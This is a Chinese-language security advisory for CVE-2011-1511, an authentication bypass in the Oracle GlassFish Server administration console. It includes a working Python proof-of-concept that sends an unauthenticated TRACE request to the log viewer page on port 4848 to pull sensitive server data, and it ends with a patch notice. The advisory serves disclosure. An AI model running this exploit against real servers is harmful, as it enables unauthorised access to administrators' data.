十谨风 2011-05-17
发布日期:2011-05-13
更新日期:2011-05-13
受影响系统:
Oracle Sun Glassfish Enterprise Server 2.1.1
Oracle Oracle GlassFish Server 3.0.1
描述:
--------------------------------------------------------------------------------
BUGTRAQ ID: 47818
CVE ID: CVE-2011-1511
Sun GlassFish 产品组合是功能最全、成本效益最高的开放性Web应用程序平台。
Oracle GlassFish Server Administration Console在实现上存在远程身份验证绕过漏洞,攻击者可利用此漏洞绕过身份验证并执行未授权操作。
默认在TCP端口4848上监听的管理控制台存在身份验证绕过漏洞,通过发送恶意TRACE请求,远程攻击者可不经认证获取服务器上的敏感信息。
<*来源:CoreLabs (http://www.coresecurity.com/corelabs/)
链接:http://marc.info/?l=bugtraq&m=130521538432755&w=2
*>
测试方法:
--------------------------------------------------------------------------------
警 告
以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!
import sys
import httplib
def make_trace_request(host, port, selector):
print '[*] TRACE request: %s' % selector
headers = { 'User-Agent': 'Mozilla/4.0 (compatible; MSIE 8.0;
Windows NT 5.1; Trident/4.0)',
'Host': '%s:%s' % (host, port),
'Accept':
'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
'Accept-Language': 'en-us,en;q=0.5',
'Accept-Charset': 'ISO-8859-1,utf-8;q=0.7,*;q=0.7',
'Accept-Encoding': 'gzip,deflate',
'Connection': 'close',
'Referer': 'http://%s:%s%s' % (host, port, selector)}
conn = httplib.HTTPConnection(host, port)
conn.request('TRACE', selector, headers=headers)
response = conn.getresponse()
conn.close()
print response.status, response.reason
print response.getheaders()
print response.read()
if len(sys.argv) != 3:
print "Usage: $ python poc.py <GlassFish_IP>
<GlassFish_Administration_Port>\nE.g: $ python poc.py 192.168.0.1 4848"
sys.exit(0)
host = sys.argv[1]
port = int(sys.argv[2])
make_trace_request(host, port, '/common/logViewer/logViewer.jsf')
建议:
--------------------------------------------------------------------------------
厂商补丁:
Oracle
------
目前厂商已经发布了升级补丁以修复这个安全问题,请到厂商的主页下载: